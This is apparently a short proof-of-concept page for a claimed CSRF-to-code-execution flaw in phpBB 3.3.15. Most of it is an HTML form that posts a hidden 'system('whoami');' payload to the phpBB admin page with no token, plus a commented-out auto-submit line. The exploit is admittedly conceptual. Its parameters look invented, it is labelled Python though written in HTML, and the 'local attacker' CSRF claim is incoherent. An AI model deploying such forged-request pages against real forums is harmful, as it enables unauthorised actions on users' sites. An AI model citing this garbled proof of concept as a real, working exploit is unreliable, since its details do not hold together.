Cross Site Request Forgery vulnerability in Phpbb phbb3 v.3.3.15 allows a local attacker to execute arbitrary code via the login function and the authentication mechanism
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2025-70810: CSRF leading to RCE
This is a conceptual example demonstrating how a malicious request might be crafted.
The target endpoint and parameters depend on the specific vulnerable component in phpBB 3.3.15.
-->
<html>
<body>
<h1>CSRF Exploit Demo</h1>
<p>Click the button to execute the command (Simulated).</p>
<!--
In a real scenario, the 'action' attribute would point to the vulnerable endpoint
(e.g., admin script or login processor) and the form data would contain the payload.
-->
<form action="http://target-phpbb-site/phpBB/adm/index.php" method="POST">
<input type="hidden" name="action" value="execute_code" />
<input type="hidden" name="payload" value="system('whoami');" />
<input type="hidden" name="csrf_token" value="" /> <!-- Token missing or bypassed -->
<input type="submit" value="Click Me" />
</form>
<script>
// Auto-submit script to ensure interaction if required by UI:R
// document.forms[0].submit();
</script>
</body>
</html>